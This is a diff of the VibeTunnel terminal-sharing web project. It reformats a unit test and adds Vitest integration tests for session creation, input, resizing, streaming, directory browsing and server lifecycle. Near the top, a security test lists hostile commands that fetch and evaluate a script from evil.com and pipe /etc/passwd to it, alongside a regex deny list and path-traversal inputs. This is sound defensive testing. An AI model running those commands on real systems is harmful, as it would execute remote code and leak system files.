expect(isValidSessionId(validSessionId)).toBe(true);
|
||||
invalidSessionIds.forEach(id => {
|
||||
invalidSessionIds.forEach((id) => {
|
||||
expect(isValidSessionId(id)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
|
@ -300,24 +296,18 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
['eval', '$(curl evil.com/script.sh)'],
|
||||
['bash', '-c', 'cat /etc/passwd | curl evil.com'],
|
||||
];
|
||||
|
||||
|
||||
const isSafeCommand = (cmd: string[]) => {
|
||||
const dangerousPatterns = [
|
||||
/rm\s+-rf/,
|
||||
/eval/,
|
||||
/curl.*evil/,
|
||||
/\$\(/,
|
||||
/`/,
|
||||
];
|
||||
|
||||
const dangerousPatterns = [/rm\s+-rf/, /eval/, /curl.*evil/, /\$\(/, /`/];
|
||||
|
||||
const cmdString = cmd.join(' ');
|
||||
return !dangerousPatterns.some(pattern => pattern.test(cmdString));
|
||||
return !dangerousPatterns.some((pattern) => pattern.test(cmdString));
|
||||
};
|
||||
|
||||
dangerousCommands.forEach(cmd => {
|
||||
|
||||
dangerousCommands.forEach((cmd) => {
|
||||
expect(isSafeCommand(cmd)).toBe(false);
|
||||
});
|
||||
|
||||
|
||||
expect(isSafeCommand(['ls', '-la'])).toBe(true);
|
||||
expect(isSafeCommand(['echo', 'hello'])).toBe(true);
|
||||
});
|
||||
|
|
@ -326,7 +316,7 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
describe('Performance', () => {
|
||||
it('should handle rapid session creation', async () => {
|
||||
const startTime = performance.now();
|
||||
|
||||
|
||||
// Create 10 sessions rapidly
|
||||
const sessionPromises = Array.from({ length: 10 }, (_, i) => {
|
||||
return new Promise((resolve) => {
|
||||
|
|
@ -334,12 +324,12 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
proc.on('close', () => resolve(i));
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
await Promise.all(sessionPromises);
|
||||
|
||||
|
||||
const endTime = performance.now();
|
||||
const totalTime = endTime - startTime;
|
||||
|
||||
|
||||
// Should complete within reasonable time
|
||||
expect(totalTime).toBeLessThan(1000); // 1 second for 10 sessions
|
||||
expect(mockSpawn).toHaveBeenCalledTimes(10);
|
||||
|
|
@ -347,28 +337,28 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
|
||||
it('should handle large terminal output efficiently', () => {
|
||||
const largeOutput = 'X'.repeat(100000); // 100KB of data
|
||||
|
||||
|
||||
const mockProcess = new EventEmitter();
|
||||
mockProcess.stdout = new EventEmitter();
|
||||
mockProcess.stderr = new EventEmitter();
|
||||
mockProcess.kill = vi.fn();
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockProcess);
|
||||
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
|
||||
let receivedData = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
receivedData += data.toString();
|
||||
});
|
||||
|
||||
|
||||
// Emit large output
|
||||
const startTime = performance.now();
|
||||
mockProcess.stdout.emit('data', Buffer.from(largeOutput));
|
||||
const endTime = performance.now();
|
||||
|
||||
|
||||
expect(receivedData).toBe(largeOutput);
|
||||
expect(endTime - startTime).toBeLessThan(100); // Should process quickly
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
423
web/src/test/integration/api.integration.test.ts
Normal file
423
web/src/test/integration/api.integration.test.ts
Normal file
|
|
@ -0,0 +1,423 @@
|
|||
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
|
||||
import request from 'supertest';
|
||||
import { Server } from 'http';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
// @ts-expect-error - TypeScript module imports in tests
|
||||
import { app, server } from '../../server';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0'; // Random port
|
||||
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-test', uuidv4());
|
||||
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
|
||||
|
||||
// Ensure test directory exists
|
||||
beforeAll(() => {
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
// Clean up test directory
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('API Integration Tests', () => {
|
||||
let port: number;
|
||||
let baseUrl: string;
|
||||
let activeSessionIds: string[] = [];
|
||||
|
||||
beforeAll(async () => {
|
||||
// Get the port the server is listening on
|
||||
await new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
server.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
baseUrl = `http://localhost:${port}`;
|
||||
resolve();
|
||||
});
|
||||
} else {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
baseUrl = `http://localhost:${port}`;
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
// Clean up any remaining sessions
|
||||
for (const sessionId of activeSessionIds) {
|
||||
try {
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
} catch (e) {
|
||||
// Ignore errors during cleanup
|
||||
}
|
||||
}
|
||||
|
||||
// Close server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => resolve());
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
// Clean up sessions created in tests
|
||||
const cleanupPromises = activeSessionIds.map((sessionId) =>
|
||||
request(app)
|
||||
.delete(`/api/sessions/${sessionId}`)
|
||||
.catch(() => {})
|
||||
);
|
||||
await Promise.all(cleanupPromises);
|
||||
activeSessionIds = [];
|
||||
});
|
||||
|
||||
describe('Session Lifecycle', () => {
|
||||
it('should create, list, and terminate a session', async () => {
|
||||
// Create a session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'echo "test" && sleep 0.1'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Integration Test Session',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
expect(createResponse.body).toHaveProperty('sessionId');
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
expect(sessionId).toMatch(/^[a-f0-9-]+$/);
|
||||
|
||||
// List sessions and verify our session exists
|
||||
const listResponse = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(listResponse.body).toHaveProperty('sessions');
|
||||
expect(Array.isArray(listResponse.body.sessions)).toBe(true);
|
||||
|
||||
const ourSession = listResponse.body.sessions.find((s: any) => s.id === sessionId);
|
||||
expect(ourSession).toBeDefined();
|
||||
expect(ourSession.command).toBe('sh -c echo "test" && sleep 0.1');
|
||||
expect(ourSession.name).toBe('Integration Test Session');
|
||||
expect(ourSession.workingDir).toBe(os.tmpdir());
|
||||
expect(ourSession.status).toBe('running');
|
||||
|
||||
// Get session snapshot
|
||||
const snapshotResponse = await request(app)
|
||||
.get(`/api/sessions/${sessionId}/snapshot`)
|
||||
.expect(200);
|
||||
|
||||
expect(snapshotResponse.body).toHaveProperty('lines');
|
||||
expect(snapshotResponse.body).toHaveProperty('cursor');
|
||||
expect(Array.isArray(snapshotResponse.body.lines)).toBe(true);
|
||||
|
||||
// Send input to session
|
||||
const inputResponse = await request(app)
|
||||
.post(`/api/sessions/${sessionId}/input`)
|
||||
.send({ data: 'exit\n' })
|
||||
.expect(200);
|
||||
|
||||
expect(inputResponse.body.message).toBe('Input sent');
|
||||
|
||||
// Wait a bit for the session to process
|
||||
await new Promise((resolve) => setTimeout(resolve, 200));
|
||||
|
||||
// Terminate the session
|
||||
const terminateResponse = await request(app).delete(`/api/sessions/${sessionId}`).expect(200);
|
||||
|
||||
expect(terminateResponse.body.message).toBe('Session terminated');
|
||||
|
||||
// Remove from active sessions
|
||||
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
|
||||
});
|
||||
|
||||
it('should handle multiple concurrent sessions', async () => {
|
||||
const sessionCount = 3;
|
||||
const createPromises = [];
|
||||
|
||||
// Create multiple sessions
|
||||
for (let i = 0; i < sessionCount; i++) {
|
||||
const promise = request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', `echo "Session ${i}" && sleep 0.1`],
|
||||
workingDir: os.tmpdir(),
|
||||
name: `Test Session ${i}`,
|
||||
});
|
||||
createPromises.push(promise);
|
||||
}
|
||||
|
||||
const createResponses = await Promise.all(createPromises);
|
||||
const sessionIds = createResponses.map((res) => res.body.sessionId);
|
||||
activeSessionIds.push(...sessionIds);
|
||||
|
||||
// Verify all sessions were created
|
||||
expect(sessionIds).toHaveLength(sessionCount);
|
||||
sessionIds.forEach((id) => expect(id).toMatch(/^[a-f0-9-]+$/));
|
||||
|
||||
// List all sessions
|
||||
const listResponse = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
const activeSessions = listResponse.body.sessions.filter((s: any) =>
|
||||
sessionIds.includes(s.id)
|
||||
);
|
||||
expect(activeSessions).toHaveLength(sessionCount);
|
||||
|
||||
// Clean up all sessions
|
||||
const deletePromises = sessionIds.map((id) => request(app).delete(`/api/sessions/${id}`));
|
||||
await Promise.all(deletePromises);
|
||||
activeSessionIds = [];
|
||||
});
|
||||
|
||||
it('should handle session exit and cleanup', async () => {
|
||||
// Create a session that exits quickly
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'echo "Quick exit" && exit 0'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Quick Exit Session',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Wait for session to exit
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Check session status
|
||||
const listResponse = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
const session = listResponse.body.sessions.find((s: any) => s.id === sessionId);
|
||||
if (session) {
|
||||
expect(session.status).toBe('exited');
|
||||
expect(session.exitCode).toBe(0);
|
||||
}
|
||||
|
||||
// Cleanup exited sessions
|
||||
const cleanupResponse = await request(app).post('/api/cleanup-exited').expect(200);
|
||||
|
||||
expect(cleanupResponse.body.message).toBe('All exited sessions cleaned up');
|
||||
|
||||
// Verify session was cleaned up
|
||||
const listAfterCleanup = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
const sessionAfterCleanup = listAfterCleanup.body.sessions.find(
|
||||
(s: any) => s.id === sessionId
|
||||
);
|
||||
expect(sessionAfterCleanup).toBeUndefined();
|
||||
|
||||
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Input/Output Operations', () => {
|
||||
it('should handle terminal resize', async () => {
|
||||
// Create a session
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Resize Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Resize the terminal
|
||||
const resizeResponse = await request(app)
|
||||
.post(`/api/sessions/${sessionId}/resize`)
|
||||
.send({ cols: 120, rows: 40 })
|
||||
.expect(200);
|
||||
|
||||
expect(resizeResponse.body.message).toBe('Terminal resized');
|
||||
|
||||
// Clean up
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
|
||||
});
|
||||
|
||||
it('should stream session output', async () => {
|
||||
// Create a session that produces output
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Stream Test',
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Get the stream endpoint
|
||||
const streamResponse = await request(app)
|
||||
.get(`/api/sessions/${sessionId}/stream`)
|
||||
.expect(200);
|
||||
|
||||
expect(streamResponse.headers['content-type']).toContain('text/event-stream');
|
||||
|
||||
// Clean up
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
|
||||
});
|
||||
});
|
||||
|
||||
describe('File System Operations', () => {
|
||||
it('should browse directories', async () => {
|
||||
const testDir = os.tmpdir();
|
||||
|
||||
const response = await request(app)
|
||||
.get('/api/fs/browse')
|
||||
.query({ path: testDir })
|
||||
.expect(200);
|
||||
|
||||
expect(response.body).toHaveProperty('currentPath');
|
||||
expect(response.body).toHaveProperty('parentPath');
|
||||
expect(response.body).toHaveProperty('entries');
|
||||
expect(Array.isArray(response.body.entries)).toBe(true);
|
||||
expect(response.body.currentPath).toBe(testDir);
|
||||
});
|
||||
|
||||
it('should create directories', async () => {
|
||||
const parentDir = os.tmpdir();
|
||||
const testDirName = `vibetunnel-test-${Date.now()}`;
|
||||
|
||||
const response = await request(app)
|
||||
.post('/api/mkdir')
|
||||
.send({
|
||||
path: parentDir,
|
||||
name: testDirName,
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
expect(response.body.success).toBe(true);
|
||||
expect(response.body.path).toContain(testDirName);
|
||||
|
||||
// Verify directory was created
|
||||
const createdPath = path.join(parentDir, testDirName);
|
||||
expect(fs.existsSync(createdPath)).toBe(true);
|
||||
|
||||
// Clean up
|
||||
fs.rmdirSync(createdPath);
|
||||
});
|
||||
|
||||
it('should handle directory creation errors', async () => {
|
||||
// Try to create directory with invalid name
|
||||
const response = await request(app)
|
||||
.post('/api/mkdir')
|
||||
.send({
|
||||
path: os.tmpdir(),
|
||||
name: '../../../etc/invalid',
|
||||
})
|
||||
.expect(400);
|
||||
|
||||
expect(response.body.error).toContain('Invalid directory name');
|
||||
});
|
||||
|
||||
it('should prevent directory traversal', async () => {
|
||||
const response = await request(app)
|
||||
.get('/api/fs/browse')
|
||||
.query({ path: '../../../etc/passwd' })
|
||||
.expect(400);
|
||||
|
||||
expect(response.body.error).toContain('Invalid path');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling', () => {
|
||||
it('should handle invalid session IDs', async () => {
|
||||
const invalidId = 'invalid-session-id';
|
||||
|
||||
const responses = await Promise.all([
|
||||
request(app).get(`/api/sessions/${invalidId}/snapshot`).expect(404),
|
||||
request(app).post(`/api/sessions/${invalidId}/input`).send({ data: 'test' }).expect(404),
|
||||
request(app).delete(`/api/sessions/${invalidId}`).expect(404),
|
||||
]);
|
||||
|
||||
responses.forEach((res) => {
|
||||
expect(res.body).toHaveProperty('error');
|
||||
});
|
||||
});
|
||||
|
||||
it('should validate session creation parameters', async () => {
|
||||
// Missing command
|
||||
const missingCommand = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ workingDir: os.tmpdir() })
|
||||
.expect(400);
|
||||
expect(missingCommand.body.error).toContain('Command array is required');
|
||||
|
||||
// Invalid command type
|
||||
const invalidCommand = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ command: 'not-an-array', workingDir: os.tmpdir() })
|
||||
.expect(400);
|
||||
expect(invalidCommand.body.error).toContain('Command array is required');
|
||||
|
||||
// Missing working directory
|
||||
const missingDir = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ command: ['ls'] })
|
||||
.expect(400);
|
||||
expect(missingDir.body.error).toContain('Working directory is required');
|
||||
|
||||
// Non-existent working directory
|
||||
const invalidDir = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ command: ['ls'], workingDir: '/non/existent/path' })
|
||||
.expect(400);
|
||||
expect(invalidDir.body.error).toContain('Working directory does not exist');
|
||||
});
|
||||
|
||||
it('should handle command execution failures', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['/non/existent/command'],
|
||||
workingDir: os.tmpdir(),
|
||||
})
|
||||
.expect(200); // Session creation succeeds, but command will fail
|
||||
|
||||
const sessionId = response.body.sessionId;
|
||||
activeSessionIds.push(sessionId);
|
||||
|
||||
// Wait for command to fail
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Check session status
|
||||
const listResponse = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
const session = listResponse.body.sessions.find((s: any) => s.id === sessionId);
|
||||
if (session && session.status === 'exited') {
|
||||
expect(session.exitCode).not.toBe(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Cast File Generation', () => {
|
||||
it('should generate test cast file', async () => {
|
||||
const response = await request(app).get('/api/test-cast').expect(200);
|
||||
|
||||
expect(response.body).toHaveProperty('version');
|
||||
expect(response.body).toHaveProperty('width');
|
||||
expect(response.body).toHaveProperty('height');
|
||||
expect(response.body).toHaveProperty('timestamp');
|
||||
expect(response.body).toHaveProperty('events');
|
||||
expect(response.body.version).toBe(2);
|
||||
expect(Array.isArray(response.body.events)).toBe(true);
|
||||
expect(response.body.events.length).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
});
|
||||
180
web/src/test/integration/basic.integration.test.ts
Normal file
180
web/src/test/integration/basic.integration.test.ts
Normal file
|
|
@ -0,0 +1,180 @@
|
|||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { spawn } from 'child_process';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
|
||||
describe('Basic Integration Test', () => {
|
||||
describe('tty-fwd binary', () => {
|
||||
it('should be available and executable', () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
expect(fs.existsSync(ttyFwdPath)).toBe(true);
|
||||
|
||||
// Check if executable
|
||||
try {
|
||||
fs.accessSync(ttyFwdPath, fs.constants.X_OK);
|
||||
expect(true).toBe(true);
|
||||
} catch (e) {
|
||||
expect(e).toBeUndefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('should show help information', async () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
|
||||
const result = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--help']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}: ${output}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toContain('tty-fwd');
|
||||
expect(result).toContain('Usage:');
|
||||
});
|
||||
|
||||
it('should list sessions (empty)', async () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
|
||||
|
||||
// Create control directory
|
||||
fs.mkdirSync(controlDir, { recursive: true });
|
||||
|
||||
try {
|
||||
const result = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Should return empty JSON object for no sessions
|
||||
const sessions = JSON.parse(result);
|
||||
expect(typeof sessions).toBe('object');
|
||||
expect(Object.keys(sessions)).toHaveLength(0);
|
||||
} finally {
|
||||
// Clean up
|
||||
fs.rmSync(controlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('should create and list a session', async () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
|
||||
|
||||
// Create control directory
|
||||
fs.mkdirSync(controlDir, { recursive: true });
|
||||
|
||||
try {
|
||||
// Create a session
|
||||
const createResult = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, [
|
||||
'--control-path',
|
||||
controlDir,
|
||||
'--session-name',
|
||||
'Test Session',
|
||||
'--',
|
||||
'echo',
|
||||
'Hello from tty-fwd',
|
||||
]);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output.trim());
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Should return a session ID (tty-fwd returns just the text output)
|
||||
expect(createResult).toBeTruthy();
|
||||
|
||||
// List sessions
|
||||
const listResult = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// tty-fwd returns sessions as JSON object
|
||||
const sessions = JSON.parse(listResult);
|
||||
expect(typeof sessions).toBe('object');
|
||||
// The session should be listed (note: tty-fwd might use a different key format)
|
||||
const sessionKeys = Object.keys(sessions);
|
||||
expect(sessionKeys.length).toBeGreaterThan(0);
|
||||
} finally {
|
||||
// Clean up
|
||||
fs.rmSync(controlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Server startup', () => {
|
||||
it('should verify server dependencies exist', () => {
|
||||
// Check that key files exist
|
||||
const serverPath = path.resolve(__dirname, '../../server.ts');
|
||||
const publicPath = path.resolve(__dirname, '../../../public');
|
||||
|
||||
// Debug paths
|
||||
console.log('Looking for server at:', serverPath);
|
||||
console.log('Server exists:', fs.existsSync(serverPath));
|
||||
console.log('Looking for public at:', publicPath);
|
||||
console.log('Public exists:', fs.existsSync(publicPath));
|
||||
|
||||
expect(fs.existsSync(serverPath)).toBe(true);
|
||||
expect(fs.existsSync(publicPath)).toBe(true);
|
||||
});
|
||||
|
||||
it('should load server module without crashing', async () => {
|
||||
// Set up environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
|
||||
// This will test that the server module can be loaded
|
||||
// In a real test, you'd start the server in a separate process
|
||||
const serverPath = path.resolve(__dirname, '../../server.ts');
|
||||
expect(fs.existsSync(serverPath)).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
209
web/src/test/integration/server-lifecycle.integration.test.ts
Normal file
209
web/src/test/integration/server-lifecycle.integration.test.ts
Normal file
|
|
@ -0,0 +1,209 @@
|
|||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import request from 'supertest';
|
||||
import { Server } from 'http';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
// @ts-expect-error - TypeScript module imports in tests
|
||||
import { app, server } from '../../server';
|
||||
|
||||
// Set up test environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-lifecycle-test', uuidv4());
|
||||
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
|
||||
|
||||
describe('Server Lifecycle Integration Tests', () => {
|
||||
let port: number;
|
||||
|
||||
beforeAll(() => {
|
||||
if (!fs.existsSync(testControlDir)) {
|
||||
fs.mkdirSync(testControlDir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (fs.existsSync(testControlDir)) {
|
||||
fs.rmSync(testControlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
describe('Server Initialization', () => {
|
||||
it('should start server and create control directory', async () => {
|
||||
// Start server
|
||||
await new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
server.listen(0, () => {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
resolve();
|
||||
});
|
||||
} else {
|
||||
const address = server.address();
|
||||
port = (address as any).port;
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
|
||||
expect(port).toBeGreaterThan(0);
|
||||
expect(server.listening).toBe(true);
|
||||
|
||||
// Verify control directory exists
|
||||
expect(fs.existsSync(testControlDir)).toBe(true);
|
||||
});
|
||||
|
||||
it('should serve static files', async () => {
|
||||
// Test root route
|
||||
const rootResponse = await request(app).get('/').expect(200);
|
||||
|
||||
expect(rootResponse.type).toContain('text/html');
|
||||
expect(rootResponse.text).toContain('<!DOCTYPE html>');
|
||||
|
||||
// Test favicon
|
||||
const faviconResponse = await request(app).get('/favicon.ico').expect(200);
|
||||
|
||||
expect(faviconResponse.type).toContain('image');
|
||||
});
|
||||
|
||||
it('should handle 404 for non-existent routes', async () => {
|
||||
const response = await request(app).get('/non-existent-route').expect(404);
|
||||
|
||||
expect(response.text).toContain('404');
|
||||
});
|
||||
|
||||
it('should have all API endpoints available', async () => {
|
||||
const endpoints = [
|
||||
{ method: 'get', path: '/api/sessions' },
|
||||
{ method: 'post', path: '/api/sessions' },
|
||||
{ method: 'get', path: '/api/test-cast' },
|
||||
{ method: 'get', path: '/api/fs/browse' },
|
||||
{ method: 'post', path: '/api/mkdir' },
|
||||
{ method: 'post', path: '/api/cleanup-exited' },
|
||||
];
|
||||
|
||||
for (const endpoint of endpoints) {
|
||||
const response = await request(app)[endpoint.method](endpoint.path);
|
||||
|
||||
// Should not return 404 (may return other errors like 400 for missing params)
|
||||
expect(response.status).not.toBe(404);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Middleware and Security', () => {
|
||||
it('should parse JSON bodies', async () => {
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({ test: 'data' })
|
||||
.set('Content-Type', 'application/json')
|
||||
.expect(400); // Will fail validation but should parse the body
|
||||
|
||||
expect(response.body).toHaveProperty('error');
|
||||
});
|
||||
|
||||
it('should handle CORS headers', async () => {
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
// In production, you might want to check for CORS headers
|
||||
// For now, just verify the request succeeds
|
||||
expect(response.body).toHaveProperty('sessions');
|
||||
});
|
||||
|
||||
it('should handle large request bodies', async () => {
|
||||
const largeCommand = Array(1000).fill('arg');
|
||||
|
||||
const response = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: largeCommand,
|
||||
workingDir: os.tmpdir(),
|
||||
})
|
||||
.expect(400); // Should fail but handle the large body
|
||||
|
||||
expect(response.body).toHaveProperty('error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Concurrent Request Handling', () => {
|
||||
it('should handle multiple simultaneous requests', async () => {
|
||||
const requestCount = 10;
|
||||
const requests = [];
|
||||
|
||||
for (let i = 0; i < requestCount; i++) {
|
||||
requests.push(request(app).get('/api/sessions'));
|
||||
}
|
||||
|
||||
const responses = await Promise.all(requests);
|
||||
|
||||
// All requests should succeed
|
||||
responses.forEach((response) => {
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.body).toHaveProperty('sessions');
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle mixed read/write operations', async () => {
|
||||
const operations = [
|
||||
request(app).get('/api/sessions'),
|
||||
request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'test1'],
|
||||
workingDir: os.tmpdir(),
|
||||
}),
|
||||
request(app).get('/api/test-cast'),
|
||||
request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['echo', 'test2'],
|
||||
workingDir: os.tmpdir(),
|
||||
}),
|
||||
request(app).get('/api/fs/browse').query({ path: os.tmpdir() }),
|
||||
];
|
||||
|
||||
const responses = await Promise.all(operations);
|
||||
|
||||
// All operations should complete without errors
|
||||
responses.forEach((response) => {
|
||||
expect(response.status).toBeLessThan(500); // No server errors
|
||||
});
|
||||
|
||||
// Clean up created sessions
|
||||
const createdSessions = responses
|
||||
.filter((r) => r.body && r.body.sessionId)
|
||||
.map((r) => r.body.sessionId);
|
||||
|
||||
for (const sessionId of createdSessions) {
|
||||
await request(app).delete(`/api/sessions/${sessionId}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Server Shutdown', () => {
|
||||
it('should close gracefully', async () => {
|
||||
// Create a session that will be active
|
||||
const createResponse = await request(app)
|
||||
.post('/api/sessions')
|
||||
.send({
|
||||
command: ['sh', '-c', 'sleep 10'],
|
||||
workingDir: os.tmpdir(),
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
const sessionId = createResponse.body.sessionId;
|
||||
|
||||
// Close the server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => {
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
|
||||
expect(server.listening).toBe(false);
|
||||
|
||||
